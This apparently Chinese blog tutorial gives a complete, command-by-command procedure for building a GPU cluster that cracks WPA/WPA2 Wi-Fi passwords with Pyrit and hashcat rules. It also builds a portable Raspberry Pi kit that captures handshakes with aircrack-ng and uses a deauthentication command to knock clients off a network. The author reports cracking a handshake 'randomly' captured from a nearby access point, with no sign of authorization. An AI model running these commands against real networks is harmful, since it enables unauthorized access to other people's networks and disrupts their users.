集群密码破解系统搭建
前言
本套密码破解系统的本质是通过密码字典结合密码破解软件的方式,从而调用显卡GPU的运算能力生成密码字典里密码的哈希值,与目标密码哈希值进行碰撞,最终经过未知次数的碰撞,暴力破解得到原密码。
由于目前软件环境的限制,集群密码破解只能用于破解 WPA/WPA2 WIFI 密码(WIFI AP名称ESSID只能含有英文和数字),其它类型密码只能进行分布式破解。也许在不远的将来,随着软件的更新,将会支持更多类型的密码集群破解。
系统硬件
两台相同配置的主机组成最小的集群系统,主机的配置如下
CPU:i3-4170 内存:8GB 硬盘:1TB 显卡:HD7970
整套系统主要是调用显卡GPU的运算能力,对CPU要求不高,故选择i3作为CPU。考虑到运算时可能会占用较大内存作为哈希值的存储和交换,故选择8GB以上。硬盘除了安装系统外,主要用于存放密码字典。因为通常较大的密码字典都是数十GB级别,所以硬盘选择目前市场普遍使用的1TB以上。
系统软件
首先需要一个安装好的 Linux 系统,安装教程请自行在网上查找。
这里以 Debian 8.1 Server 64位
为例,讲述整套集群密码破解系统的搭建。
系统安装之后,需要安装显卡驱动。这里使用 AMD 开源显卡驱动 fglrx
,因为开源显卡驱动相对于闭源显卡驱动安装步骤更为简单,只需依次执行以下命令
root@debian1:~# apt-get install build-essential -y
root@debian1:~# apt-get install linux-headers-$(uname -r) -y
root@debian1:~# apt-get install fglrx-atieventsd fglrx-driver fglrx-modules-dkms glx-alternative-fglrx -y
root@debian1:~# apt-get install amd-opencl-icd opencl-headers -y
root@debian1:~# aticonfig --initial -y
然后重启主机即可完成安装。
接下来,我们需要下载开源集群 WPA/WPA2 WIFI 密码破解软件 Pyrit
root@debian1:~# apt-get install git -y
root@debian1:~# git clone https://github.com/JPaulMora/Pyrit.git
然后执行下面的命令安装 Pyrit
root@debian1:~# apt-get install python-dev -y
root@debian1:~# apt-get install libssl-dev -y
root@debian1:~# apt-get install zlib1g-devel -y
root@debian1:~# cd Pyrit/
root@debian1:~/Pyrit# pip install psycopg2
root@debian1:~/Pyrit# pip install scapy
root@debian1:~/Pyrit# python setup.py clean
root@debian1:~/Pyrit# python setup.py build
root@debian1:~/Pyrit# python setup.py install
root@debian1:~/Pyrit# cd modules/cpyrit_opencl/
root@debian1:~/Pyrit/modules/cpyrit_opencl# python setup.py build
root@debian1:~/Pyrit/modules/cpyrit_opencl# python setup.py install
安装后,输入 pyrit
后按回车,你应该能够看到类似下面的信息
root@debian1:~/Pyrit/modules/cpyrit_opencl# pyrit
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
对所有集群从机进行以上同样的操作。
接下来,我们需要对集群主机和从机的Pyrit进行配置
root@debian1:~/Pyrit/modules/cpyrit_opencl# mkdir ~/.pyrit
root@debian1:~/Pyrit/modules/cpyrit_opencl# cd ~/.pyrit
root@debian1:~/.pyrit# nano config
复制粘贴以下内容
集群主机配置如下:
default_storage = file://
limit_ncpus = 1
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients = 192.168.1.124
rpc_server = true
use_CUDA = false
use_OpenCL = true
workunit_size = 75000
集群从机配置如下:
default_storage = file://
limit_ncpus = 1
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients =
rpc_server = false
use_CUDA = false
use_OpenCL = true
workunit_size = 75000
其中 rpc_knownclients
为集群从机的IP地址,用空格分隔,集群主机需要填写,集群从机留空即可。 rpc_server
为是否服务器,集群主机为 true ,集群从机为 false 。
按 Ctrl-O 和 Enter 保存文件,按 Ctrl-X 关闭文件
配置完后,输入 pyrit list_cores
后按回车,你应该能够看到 OpenCL GPUs
下有可用 GPUs
root@debian1:~/.pyrit# pyrit list_cores
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
The following cores seem available...
#1: 'CPU-Core (SSE2/AES)'
The following OpenCL GPUs seem aviable...
#1: 'OpenCL-Device 'Tahiti''
当然,密码破解还需要 WPA/WPA2 的 handshake 握手包(WIFI AP名称ESSID只能含有英文和数字)和密码字典。握手包的抓取后面会讲到。
密码字典可以到 http://weakpass.com/ 下载,下载后把gz压缩文件解压。握手包和密码字典只需放在集群主机上,集群从机上无需放置。
接下来,在所有集群从机上执行以下命令
root@debian2: ~/.pyrit# pyrit serve
在集群主机上执行以下命令即可开始破解
root@debian1: ~/.pyrit# pyrit -i ~/dict1.txt -r ~/hs1.cap attack_passthrough
其中 -i
为密码字典文件的文件路径, -r
为握手包文件的文件路径。
规则破解
由于密码字典只有固定的词语,破解成功率可能会不高。如果使用规则结合字典的方式,字典里的词语可以衍生出许多种变化形式,对提高破解成功率起到一定的作用。
这里需要到 https://hashcat.net/hashcat/ 下载 Hashcat ,一款开源单机支持多种类型密码破解软件。我们只需要用到它的规则字典生成功能。同样,只需在集群主机上下载即可。
把下载的7z压缩文件解压到 /root 目录
规则文件可以到网上下载,也可以直接使用 Hashcat 自带的规则文件。
在集群主机上执行以下命令即可开始规则破解
root@debian1: ~/.pyrit# ~/hashcat-*/hashcat64.bin -r ~/rule1.txt ~/dict1.txt --stdout | pyrit -i - -r ~/hs1.cap attack_passthrough
其中前一个 -r
为规则文件的文件路径,紧接后面的为密码字典文件的文件路径,后一个 -r
为握手包文件的文件路径。
握手包抓取
为了更加方便地抓取握手包,我们使用 树莓派 + 3G上网卡 + usb无线网卡 + 移动电源
搭建了一套移动便携式握手包抓取系统。
我们需要在树莓派上安装aircrack-ng套件进行抓包,依次执行以下命令安装依赖软件包
pi@raspberrypi:~ $ sudo apt-get install libssl-dev libgcrypt20 -y
pi@raspberrypi:~ $ sudo apt-get install build-essential -y
pi@raspberrypi:~ $ sudo apt-get install ethtool rfkill -y
pi@raspberrypi:~ $ sudo apt-get install libnl-3-dev libnl-genl-3-dev -y
接下来需要到 http://download.aircrack-ng.org/ 下载 aircrack-ng
套件的源代码进行编译,将下载的 tar.gz 压缩文件放置到 /home/pi 目录,然后执行以下命令进行安装。
pi@raspberrypi:~ $ tar -xzf aircrack-ng-*.tar.gz
pi@raspberrypi:~ $ cd aircrack-ng-*
pi@raspberrypi:~/aircrack-ng-* $ sudo make
pi@raspberrypi:~/aircrack-ng-* $ sudo make install
pi@raspberrypi:~/aircrack-ng-* $ cd ~
安装后执行 sudo airmon-ng
命令,你应该能够看到类似下面的信息
PHY Interface Driver Chipset
phy1 wlan0 ?????? Broadcom 43430
phy0 wlan1 rtl8187 Realtek Semiconductor Corp. RTL8187
其中 wlan1
是 usb 无线网卡的接口名。
接下来执行 sudo airmon-ng start wlan1
命令,将无线网卡切换至监听模式。你应该能够看到类似下面的信息,其中 wlan1mon
是无线网卡监听后的监听接口名
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
2051 wpa_supplicant
PHY Interface Driver Chipset
phy1 wlan0 ?????? Broadcom 43430
phy0 wlan1 rtl8187 Realtek Semiconductor Corp. RTL8187
(mac80211 monitor mode vif enabled for [phy0]wlan1 on [phy0]wlan1mon)
(mac80211 station mode vif disabled for [phy0]wlan1)
然后执行 sudo airodump-ng wlan1mon
命令,对周边的无线AP进行扫描。你应该能够看到类似下图的信息,其中 wlan1mon
为监听接口名
上面是AP,下面是与AP连接的客户端。我们选定想要抓取握手包的AP,记下它的 BSSID 和 CH 。
然后执行 sudo airodump-ng --bssid BC:46:99:03:FC:D8 --channel 1 -w ~/hs1.cap wlan1mon
命令,监听指定AP。其中 --bssid
为AP的 BSSID , --channel
为AP的 CH ,-w为抓包文件的文件保存路径, wlan1mon
为监听接口名。你应该能够看到类似下图的信息
一般情况下,经过漫长的等待,抓手包就能够自动抓到。为了能够马上得到握手包,我们需要进行下面的操作。
选定任一与AP连接的客户端,记下它的 STATION
。
另外打开一个新的命令行窗口,执行 sudo aireplay-ng -a BC:46:99:03:FC:D8 -e A4:71:74:42:17:8D --deauth 1 wlan1mon
命令,指定客户端强制掉线。其中 -a
为AP的BSSID, -e
为客户端的STATION, --deauth
为掉线次数, wlan1mon
为监听接口名。此时,你可以看到,前一个命令行窗口有类似下图的信息
右上角出现 WPA handshake
提示。这时可以按 Ctrl-C 停止抓包,握手包成功抓取。
测试结果
随机抓取两个握手包,使用字典结合规则的破解方式,使用两个字典进行两次集群密码破解。
第一个握手包
AP名称为:613
使用字典1进行破解,6秒后,密码就被破解出来了。
使用字典2进行破解,5分钟左右,密码也被破解出来了。
第二个握手包
AP名称为:HUIGE
使用字典1进行破解,破解了将近 1个月 ,密码没有被破解出来。
使用字典2进行破解,破解了将近 7个小时 ,密码没有被破解出来。
总结
集群密码破解的成功率与密码的复杂程度有关,越复杂的密码越不容易被破解。因此平时个人密码设置时,应避免密码设置过于简单。
选用好的字典和规则,可以提高密码破解的成功率。但是对于能否成功破解密码,还需要一定的运气。
机器运算能力越高,密码破解的时间成本越低。密码破解所需的总成本,与机器硬件的性能功耗比有很大关系。
集群式与分布式密码破解系统各有优缺点,对于实际应用,应充分考虑它们的实用性。
Comments